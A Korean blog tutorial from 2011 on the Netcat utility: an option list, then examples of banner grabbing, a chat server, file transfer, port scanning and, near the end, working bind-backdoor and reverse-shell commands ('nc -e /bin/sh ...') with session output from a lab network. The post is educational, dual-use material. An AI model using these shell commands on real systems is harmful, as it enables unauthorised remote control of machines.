2011. 12. 6. 00:46

넷캣(Netcat)은 TCP나 UDP 프로토콜을 사용하는 네트워크 연결에서 데이터를

읽고 쓰는 간단한 유틸리티 프로그램이다. 일반적으로는 UNIX의 cat과 비슷한

사용법을 가지고 있지만 cat이 파일에 쓰거나 읽듯이 nc는 network connection

에 읽거나 쓴다. 이것은 스크립트와 병용하여 network에 대한 debugging,

testing tool로써 매우 편리하지만 반면 해킹에도 이용범위가 넓다.

 

 

connect to somewhere:

listen for inbound:

nc [-options] hostname port[s] [ports] ...

nc -l -p port [-options] [hostname] [port]

[ 옵션 ]

[ 설명 ]

-c shell commands

as `-e'; use /bin/sh to exec [dangerous!!]

-e

program to exec after connect [dangerous!!]

-b

allow broadcasts

-g

source-routing hop point[s], up to 8

-G

source-routing pointer: 4, 8, 12, ...

-h

this cruft

-i secs

delay interval for lines sent, ports scanned

-k

set keepalive option on socket

-l

listen mode, for inbound connects

-n

numeric-only IP addresses, no DNS

-o file

hex dump of traffic

-p port

local port number

-r

randomize local and remote ports

-q secs

quit after EOF on stdin and delay of secs

-s addr

local source address

-T tos

set Type Of Service

-t

answer TELNET negotiation

-u

UDP mode

-v

verbose [use twice to be more verbose]

-w secs

timeout for connects and final net reads

-z

zero-I/O mode [used for scanning]

 

 

연결 수립

Ÿ 넷캣은 IP주소의 임의의 포트로 연결할 수 있다.

 

# nc 10.0.2.100 22

SSH-2.0-OpenSSH_5.3p1 Debian-3ubuntu6

 

 

서비스 배너 수집

Ÿ 다양한 서비스를 대상으로 그대로 사용할 수 있다.

하지만 HTTP 같은 서비스의 배너를 알아내려면 우선 HTTP명령을 전송해야 한다.

 

# echo -e "HEAD / HTTP/1.0\n\n" | nc httpd.apache.org 80

HTTP/1.1 200 OK

Date: Mon, 05 Dec 2011 14:54:15 GMT

Server: Apache/2.3.15-dev (Unix) mod_ssl/2.3.15-dev OpenSSL/1.0.0c

Last-Modified: Mon, 05 Dec 2011 14:10:25 GMT

ETag: "11163fe-8c8f-4b358e1491640"

Accept-Ranges: bytes

Content-Length: 35983

Vary: Accept-Encoding

Cache-Control: max-age=3600

Expires: Mon, 05 Dec 2011 15:54:15 GMT

Connection: close

Content-Type: text/html; charset=utf-8

위 결과를 보면 웹 서버 소프트웨어와 운영체제를 알 수 있다.

 

간단한 서버

Ÿ 포트 1234에서 리슨(listen)하는 간단한 채팅 서버를 만들어 보자.

 

서버

클라이언트

# nc -l -p 1234

hi

hello netcat!!!

# telnet localhost 1234

Trying ::1...

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

hi

hello netcat!!!

클라이언트에서 입력한 모든 문자가 서버에 출력된다.

간단한 채팅 서버를 만든 셈이다.

 

파일 전송

Ÿ 클라이언트에서 넷캣 리스너로 파일을 전송할 수도 있고 역방향으로 파일을 전송할 수도 있다.

 

서버

클라이언트

# nc -l -p 1234 > pstest.out

# ps auxf | nc -w3 10.0.2.15 1234

or

# nc -w3 10.0.2.15 < filename

클라이언트에서 명령의 결과를 바로 서버 측으로 전송하거나 파일을 전송할 수 있다.

 

포트 스캐닝

@ 상세 출력(-v),

@ DNS 이름 주소 변환 실시 안 함(-n),

@ 데이터 전송 안 함(-z),

@ 최대 1초의 연결 리슨 시간(-w 1)을 옵션으로

TCP 프로토콜을 사용해서 1-1023 사이의 포트를 스캔

 

# nc -n -v -z -w 1 10.0.2.100 1-1023

(UNKNOWN) [10.0.2.100] 80 (www) open

(UNKNOWN) [10.0.2.100] 22 (ssh) open

80, 22번 포트가 열려있음을 확인할 수 있다.

넷캣이 포트 스캐닝을 지원하긴 하지만 포트 스캐닝을 실시할 때는 엔맵(nmap)을 권장.

 

백도어 쉘

@ 특정 포트(-p)에서 리슨하면서(-l)

@ 연결 수립 시 특정 쉘을 실행하도록(-e) 옵션을 지정하여

백도어 쉘을 실행 할 수 있다.

 

서버

클라이언트

# nc -e /bin/sh -l -p 1234

# telnet 10.0.2.15 1234

Trying ::1...

Trying 10.0.2.15...

Connected to localhost.

Escape character is '^]'.

uname -a;

Linux bt 2.6.38 #1 SMP...<etc>

ls -al;

...<etc>

연결이 수립되면 서버에 임의의 리눅스 명령어를 입력할 수 있다.

명령 뒤에 ";"(세미콜론)문자를 덧붙여야 한다. (사용하는 클라이언트 마다 다를 수 있음)

위와 같이 서버에서 실행된 명령의 결과가 클라이언트 화면에 출력된다.

넷캣 리스너를 루트 권한으로 실행하면 서버에서 임의의 모든 작업을 수행할 수 있다.

누구나 해당 포트로 연결해서 넷캣 백도어를 이용할 수 있다는 점과, 넷캣 연결은 기본적으로

암호화되지 않는다는 사실에 주의해야 한다.

 

리버스 쉘

Ÿ 이 방법은 방금 위에서 살펴본 백도어 쉘과는 반대 케이스다.

이전 예에서는 서버가 쉘을 실행했지만 리버스 쉘에서는 원격 호스트가 서버로 연결하면서

쉘을 실행한다.

 

서버

클라이언트

# nc -n -v -l -p 1234

listening on [any] 1234 ...

connect to [10.0.2.100]

from (UNKNOWN) [10.0.2.100] 36725

ip addr show

1: lo: <LOOPBACK,UP,LOWER_UP>

...<etc>...

2: eth1:

<BROADCAST,...>...<etc>...

nc -e /bin/sh 10.0.2.100 1234

서버에서 "connect to [10.0.2.100] from (UNKNOWN)...<etc>"와 같은 메시지를 확인할 수 있다면

리버스 쉘이 성공적으로 연결된 것이다.

서버에서 임의의 명령을 입력하면 원격 머신에서 실행된다.

이처럼 원격 머신의 운영체제에서 지원하는 임의의 명령을 실행할 수 있다.

Posted by devanix